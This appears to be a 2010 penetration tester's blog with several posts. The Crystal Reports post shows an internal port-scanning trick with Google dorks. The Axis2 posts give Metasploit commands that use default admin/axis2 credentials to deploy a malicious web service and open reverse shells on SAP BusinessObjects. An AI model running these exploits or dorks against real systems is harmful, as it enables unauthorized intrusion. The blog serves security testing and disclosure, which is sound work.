2011 Predictions

Here are my predictions for 2011 in no particular order:

• Microsoft will release > 100 bulletins.
• W3C will finish the HTML v5 spec. It will still have tons of attack vectors which attackers will start to use.
• Adobe will continues to a primary attack vector for malicious attackers.
• SQL Injection and Cross Site Scripting won’t be killed for at least another 3-5 years.
• There will be another major DDoS incident similar to (Iran’s elections in 2009 and Wikileaks issues in 2010).
• IE 6 will still be used by organizations that use webapps which require it.
• Someone will release an Android exploits framework.
• The Celtics beat the Lakers in 7 games to win the NBA Championship.
• The Miami Heat are still 3 years away from winning the NBA Championship.
• The RedSox beat the Phillies in 6 games to win the World Series.
• The Patriots beat the Atlanta Falcons to win the Superbowl.
• The Boston Bruins don’t make the playoffs.

Internal Port Scanning via Crystal Reports

Another fun attack that willis and I found during our SAP BusinessObjects research is that we could do internal port scanning by using Crystal Reports.

The way this works is that when you browse to a Crystal Reports web application (http://hostname/CrystalReports/viewrpt.cwr) there are a few parameters which are used to communicate with the SAP services on the backend. The problem here is that these parameters are controlled by the user. Now a better way to do this is to provide a drop-down list or make all the configurations done by the server.

Now the user can modify the IP and port which the web application is trying to communicate with on the backend. By default the port is 6400. Now the ability to modify the IP and port is good. The next step is to map the responses to open and closed so that we could programmatically map out the internal network.

Here are a few nice Google Dorks:
inurl:viewrpt.cwr
filetype:cwr inurl:apstoken

Here is the resulting mapping :

http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal_ip_address:445@$TOKEN

Port Open Response:
# Unable to open a socket to talk to CMS $HOSTNAME:445 (FWM 01005)

http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal_ip_address:80@$TOKEN

Port Closed Response :
# Server $HOSTNAME:80 not found or server may be down (FWM 01003)

Lastly the only thing we need to do is to modify the IP and port to whatever we are trying to scan. This is faster than using BeEF’s JavaScript internal portscanning functionality and it doesn’t require client interaction. Pwn dem v0hns!

Enjoy!

Regards,
Jabra

Axis2 Deployer via REST

Update 12/06: Many kudos to Egypt for helping with exploit dev!

Last weekend at OWASP BASC 2010, I created another version of the Axis2 Deployer exploit which uses REST instead of SOAP. This is important because pentesters may need to exploit Axis2 via REST, since SOAP may be disabled in certain environments. This module will not work against SAP BusinessObjects since the dswsbobje.war module has the REST interface disabled by default. I have tested the module against Axis2 1.5.2.

The REST version of Axis2 Deployer Exploit module can be found here.

In essence this module adds more flexibility for everyone that is a pentesting an environment with Axis2.

Example usage:

use exploit/multi/http/axis2_deployer_rest
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


Enjoy!

Regards,
Jabra

Axis2 Deployer via SOAP

At OWASP AppSecDC @willis__ and I talked about several attacks against SAP BusinessObjects. SAP BusinessObjects uses a module known as dswsbobje.war to deploy the Axis2 interface. Axis2 is a web application interface for administering web services. The dswsbobje module deploys several SAP BusinessObjects web services. These web services allow for anyone that is using BusinessObjects to build integration with other systems in their environment. The problem is that SAP did not remove the functionality which would prevent a malicious attacker or XSS’ed admin from deploying a malicious web service. Worse yet is that they also left the Axis2 interface configured with default credentials and then they went ahead and forgot to mention this fact in their 1000+ pages administration guide. Perfect storm. “What’s the worst that could happen….?”

Axis2 and SAP’s dswsbobje module both use the default credentials to login to the web interface (admin / axis2). Metasploit already has a module to test for default Axis2 credentials.

We can use this against SAP BusinessObjects by using the following msfconsole commands:

use auxiliary/scanner/http/axis_login
set URI /dswsbobje/axis2-admin/login
set USERNAME admin
set PASSWORD axis2
set RHOSTS 192.168.33.128
run


After we have identified a target that has default Axis2 credentials, we can utilize these credentials to login and deploy a new malicious web service. The way this works is that Axis2 Deployer module creates a new web service (jar), uploads the web service by using the default Axis2 credentials and then makes a SOAP request to execute meterpreter.

The Axis2 Deployer Exploit module have been added to Metasploit svn so that anyone that runs into Axis2 in the future will be able to easily exploit the system. The Metasploit module uses the java/meterpreter or java/shell payloads.

Here is an example of using the Axis2 Deployer exploit module against SAP BusinessObjects:

use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload java/meterpreter/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

For those running BusinessObjects SAP has provided a “fix” on their website (this site requires authentication).

For Axis2 that only difference is that the PATH is set to /axis2.

use exploit/multi/http/axis2_deployer
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


It’s important to keep in-mind is that java/meterpreter is not the same as windows/meterpreter and therefore has several limitations which make it less than ideal for anyone that is performing a penetration assessment. To get around this limitation, we can use the spawn_meterpreter script.


use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload windows/shell/reverse_payload
set AutoRunScript spawn_meterpreter
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


This script will cause Metasploit to execute a new instance of meterpreter automatically after the first session is opened.

Regards,
Jabra

Security-patching Common Web Development Frameworks

A few weeks ago at OWASP AppSec DC we made progress on an idea that several of us (@RafalLos, @secureideas, @securityninja, @TheCustOS) have been talking about on twitter for a while. The idea is based on trying to determine a good solution to what we see as the general brokenness of the Internet’s web applications. Not only do we see current applications as badly broken but the velocity at which developers are building new insecure web application is increasing. The panel that we hosted at OWASP AppSec DC discussed one method which we can contribute to reduce the rate at which new, insecure web applications are being developed.

Our idea is based on improving the security of existing web application development frameworks; adding security components into their core, thus making security more transparent to the developer and potentially having the effect of producing more secure web applications.

While there are certain elements of WebAppSec which will help to reduce the volume and impact of vulnerabilities such as training; training simply hasn’t proven to be a solution which scales well. The root of the problem with training is that the number of developers in the world is many orders of magnitude more than the number of WebAppSec trainers. The trainers are also limited due to several factors such as the need to understand language-specific constructs and limitations and the need to constantly keep up with changing development methodologies. This drastically impacts the pool of qualified, available trainers.

There are two factors which we need to address so that everyone is clear the types of vulnerabilities we want to cover and how we will improve existing frameworks. Trying to fix all WebAppSec vulnerabilities programmatically is an arduous and complex task. Therefore, we have decided to focus on form-based attacks (SQLi, XSS etc). Our approach will focus strictly on the types of flaws which can be readily addressed with minimal impact to the framework structure, and coding principles of the framework.

Next we have to cover which frameworks, and the versions we will try to improve. From the panel discussion, the consensus is that it is important for us not to focus on adding security to legacy versions of the frameworks since this would be a losing battle which isn’t really worth fighting since developers will over time likely be moving to newer versions of the frameworks with the applied fixes.

The core idea is to improve existing development frameworks by adding security controls into the upstream version of the framework. This means that as the framework is improved with additional features which developers will want, they will have the added benefit of getting a more secure framework “right out of the box”. We understand that developers have little incentive to produce more secure code over meeting their often aggressive release deadlines. Making the frameworks incorporate security is very important, and I think the ideal way to reduce the rate at which vulnerable web applications are being developed by making it more difficult for developers to write insecure code. This change means that from a business perspective the negative time and productivity impact to write “more secure code” is reduced… Our goal is to make the applications being developed more secure, by making security less visible and requiring less effort. We feel this will be the most effective and impactful method of raising overall web application security – by making it simple and (nearly) transparent for developers. We know developers don’t write poorly secured code on purpose, so by making security easier on them, there is a greater chance of the final product having a higher level of software security. It may not be possible to make the entire Internet secure but if we can change the velocity at which new, vulnerable web applications are being developed then we are really making huge strides toward a more secure Internet.

Perhaps the most important question is now that we have an acceptance of our idea – what do we do first? Clearly, step one is gaining community support. I’m not 100 % sure that creating a new OWASP project is the best method… The alternative to this is to use another site like Google groups and/or something similar for managing our efforts.

We welcome community input! Please feel free to leave comments. We are looking forward to see what other people in the community have say about these ideas.

Pentesting Web Services

Recently, I have been doing a few presentations with Will Vandevanter (@willis__) talking about Hacking SAP BusinessObjects. As a reference to anyone who hasn’t seen the presentation I thought it would be useful to do a few follow-up blog posts to clarify a few topics in greater detail.

The essence of the presentation was focused on pentesting SAP’s Service Oriented Architecture (SOA). There are two common ways to do SOA (SOAP and REST). The method used by SAP BusinessObjects is SOAP. For anyone that isn’t familiar with SOAP, just think of XML messages on top of HTTP. Below is a simple ruby client that makes a SOAP request to the web service. There are a few things which make this sample very useful to anyone that is performing a penetration test. The first is the request / response are stored in txt files. This is useful to logging and manual review of details. The second, is that the request is made using a local proxy on 8080/tcp (BurpSuite, WebScarab etc.).

By using a proxy the pentester can have fine grained control of the request. Even though BurpSuite doesn’t have built-in web services support, pentesters can still use the proxy to intercept requests since it’s just HTTP. The way this works is to intercept a SOAP request then utilize the intruder to fuzz any perimeters in the the web service. Pentesters also use BurpSuite (or w/e proxy) to perform replay requests and perform PRNG testing (similar to session id testing)

Sample Ruby SOAP client

Let me know what you think. What methods are you using to pentest web services? What tools do you use ? Comments welcome!

Hack the Planet!

-Jabra

Security Justice Episode 26 – “I can replace this podcast with one line of Perl”

Back in early July, I was ask to make an appearance on the Security Justice podcast to discuss some of my projects (Fierce v2, Goal Oriented Pentesting and SQL Injection). Security Justice Episode #26.

It was pretty epic and we defiantly went off-topic, but it was a ton of fun.

“I can replace this podcast with one line of Perl!”

Worth a listen. Let me know what you think.

Regards,
Jabra

Bootstrap Targets in BurpSuite

BurpSuite is by far, my favorite web application proxy. There is a limitation that I have found a unique way around, so I figured I would share it with everyone. BurpSuite does not have an easy way to import a list of targets when starting a web application assessment. Obviously, you can browse to the web applications using a browser, but this is time consuming. So we need a better way.

All that is needed is a method to make requests that pass through the proxy. So we can use LWP::UserAgent. Nmap is always helpful for finding open ports, so we can use that to speed things up as well. Nmap will find all of the web applications and then we can leverage Perl to populate BurpSuite’s target list.

First, we perform an nmap scan:sudo nmap -p 80,443 -sS -oX nmap-web.xml -PN

Now, we parse the output of the nmap scan and generate files that contain the web servers running on port 80/tcp and 443/tcp. I have written a Perl script to parse nmap XML files. This script can be found here. Using this script we simply execute:
perl nmap-parse.pl -f nmap-web.xml -p 80 > 80-tcp.txt
perl nmap-parse.pl -f nmap-web.xml -p 443 > 443-tcp.txt


Now, we just need to import each file and perform a request for each web application. The key is that we have BurpSuite listening locally, so that all of the requests will pass through the proxy. The script is called proxycrawl and it will populate the target list because it makes requests through the proxy. It can be found here.
perl proxycrawl.pl -i 80-tcp.txt
perl proxycrawl.pl -i 443-tcp.txt --ssl

After running this script, you should see all of the targets populated in BurpSuite and you are ready be begin your web application assessment.

Regards,
Jabra

OWASP AppSec 09 – Synergy! A world where the tools communicate

On November 12th, I will be giving a talk at the annual OWASP AppSec conference titled “Synergy! A world where the tools communicate”. I am really excited to give this talk since I have been working on the content for almost 2 years. If you have attended any of my talks in the past like BlackHat/DefCon, ShmooCon and/or InfoSec World you already know that I will bring tons of fresh code! I can’t wait for OWASP AppSec 09.

Brace yourself. We are gonna raise the bar on the industry.

-Jabra

Minor Updates for new modules

I received two bug reports today about Sslscan::Parser and Dirbuster::Parser. The bug reports said that I forgot to include Test::Class as a dependency for each of the modules. Therefore, I have updated both modules to version 0.02 to fix the issue.

The updated versions can be found here:

• Sslscan::Parser 0.02
• Dirbuster::Parser 0.02

If anyone has any comments or suggestions of any of the modules I have released recently please let me know. I’m happy to fix any bugs and improve the quality of the modules.

Regards,
Jabra